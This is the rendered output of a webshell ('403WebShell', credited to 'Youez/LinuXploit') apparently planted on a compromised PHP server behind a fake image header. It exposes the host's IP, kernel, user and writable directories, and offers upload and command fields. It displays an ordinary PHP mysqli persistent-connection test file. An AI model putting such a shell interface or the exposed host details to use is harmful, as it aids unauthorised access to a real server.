????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.133.129.118
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/mysqli/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/mysqli/tests/mysqli_real_connect_pconn.phpt
--TEST--
mysqli_real_connect() - persistent connections
--SKIPIF--
<?php
require_once('skipif.inc');
require_once('skipifemb.inc');
require_once('skipifconnectfailure.inc');
require_once('connect.inc');
if (!$IS_MYSQLND)
	die("skip mysqlnd only test");
?>
--INI--
mysqli.allow_persistent=1
mysqli.max_persistent=10
--FILE--
<?php
	require_once("connect.inc");
	$host = 'p:' . $host;

	if (!$link = mysqli_init())
		printf("[002] mysqli_init() failed\n");

	if (!mysqli_real_connect($link, $host, $user, $passwd, $db, $port, $socket))
		printf("[003] Cannot connect to the server using host=%s, user=%s, passwd=***, dbname=%s, port=%s, socket=%s\n",
			$host, $user, $db, $port, $socket);

	mysqli_close($link);
	if (!$link = mysqli_init())
		printf("[004] mysqli_init() failed\n");

	if (false !== ($tmp = mysqli_real_connect($link, $host, $user . 'unknown_really', $passwd . 'non_empty', $db, $port, $socket)))
		printf("[005] Expecting boolean/false got %s/%s. Can connect to the server using host=%s, user=%s, passwd=***non_empty, dbname=%s, port=%s, socket=%s\n", gettype($tmp), $tmp, $host, $user . 'unknown_really', $db, $port, $socket);

	// Run the following tests without an anoynmous MySQL user and use a password for the test user!
	ini_set('mysqli.default_socket', $socket);
	if (!mysqli_real_connect($link, $host, $user, $passwd, $db, $port)) {
		printf("[006] Usage of mysqli.default_socket failed\n");
	} else {
		mysqli_close($link);
		if (!$link = mysqli_init())
			printf("[007] mysqli_init() failed\n");
	}

	ini_set('mysqli.default_port', $port);
	if (!mysqli_real_connect($link, $host, $user, $passwd, $db)) {
		printf("[008] Usage of mysqli.default_port failed\n");
	} else {
		mysqli_close($link);
		if (!$link = mysqli_init())
			printf("[009] mysqli_init() failed\n");
	}

	ini_set('mysqli.default_pw', $passwd);
	if (!mysqli_real_connect($link, $host, $user)) {
		printf("[010] Usage of mysqli.default_pw failed\n") ;
	} else {
		mysqli_close($link);
		if (!$link = mysqli_init())
			printf("[011] mysqli_init() failed\n");
	}

	ini_set('mysqli.default_user', $user);
	if (!mysqli_real_connect($link, $host)) {
		printf("[012] Usage of mysqli.default_user failed\n") ;
	} else {
		mysqli_close($link);
		if (!$link = mysqli_init())
			printf("[011] mysqli_init() failed\n");
	}

	ini_set('mysqli.default_host', $host);
	if (!mysqli_real_connect($link)) {
		printf("[014] Usage of mysqli.default_host failed\n") ;
	} else {
		mysqli_close($link);
		if (!$link = mysqli_init())
			printf("[015] mysqli_init() failed\n");
	}

	// CLIENT_MULTI_STATEMENTS - should be disabled silently
	if (!mysqli_real_connect($link, $host, $user, $passwd, $db, $port, $socket, 65536))
		printf("[016] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	if ($res = mysqli_query($link, "SELECT 1 AS a; SELECT 2 AS b")) {
		printf("[017] Should have failed. CLIENT_MULTI_STATEMENT should have been disabled.\n");
		var_dump($res->num_rows);
		mysqli_next_result($link);
		$res = mysqli_store_result($link);
		var_dump($res->num_rows);
	}


	mysqli_close($link);
	if (!$link = mysqli_init())
		printf("[018] mysqli_init() failed\n");

	if (ini_get('open_basedir')) {
		// CLIENT_LOCAL_FILES should be blocked - but how to test it ?!

		if (!mysqli_real_connect($link, $host, $user, $passwd, $db, $port, $socket, 128))
			printf("[019] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

		$filename = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'mysqli_real_connect_phpt';
		if (!$fp = fopen($filename, 'w'))
			printf("[020] Cannot open temporary file %s\n", $filename);

		fwrite($fp, '100;z');
		fclose($fp);

		// how do we test if gets forbidden because of a missing right or the flag, this test is partly bogus ?
		if (mysqli_query($link, "LOAD DATA LOCAL INFILE '$filename' INTO TABLE test FIELDS TERMINATED BY ';'"))
			printf("[021] LOAD DATA INFILE should have been forbidden!\n");

		unlink($filename);
	}

	mysqli_close($link);

	if ($IS_MYSQLND) {
		$link = mysqli_init();
		if (!@mysqli_real_connect($link)) {
			printf("[022] Usage of mysqli.default_host=p:%s (persistent) failed\n", $host) ;
		} else {
			if (!$res = mysqli_query($link, "SELECT 'mysqli.default_host (persistent)' AS 'testing'"))
				printf("[023] [%d] %s\n", mysqli_errno($link), mysqli_error($link));
			$tmp = mysqli_fetch_assoc($res);
			if ($tmp['testing'] !== 'mysqli.default_host (persistent)') {
				printf("[024] Result looks strange - check manually, [%d] %s\n",
					mysqli_errno($link), mysqli_error($link));
				var_dump($tmp);
			}
			mysqli_free_result($res);
			mysqli_close($link);
		}

		ini_set('mysqli.default_host', 'p:');
		$link = mysqli_init();
		if (@mysqli_real_connect($link)) {
			printf("[025] Usage of mysqli.default_host=p: did not fail\n") ;
			mysqli_close($link);
		}
	}

	if (NULL === ($tmp = mysqli_real_connect($link, $host, $user, $passwd, $db, $port, $socket)))
		printf("[026] Expecting not NULL, got %s/%s\n", gettype($tmp), $tmp);

	print "done!";
?>
--CLEAN--
<?php
	require_once("clean_table.inc");
?>
--EXPECTF--
Warning: mysqli_real_connect(): (%s/%d): Access denied for user '%s'@'%s' (using password: YES) in %s on line %d
done!

Youez - 2016 - github.com/yon3zu
LinuXploit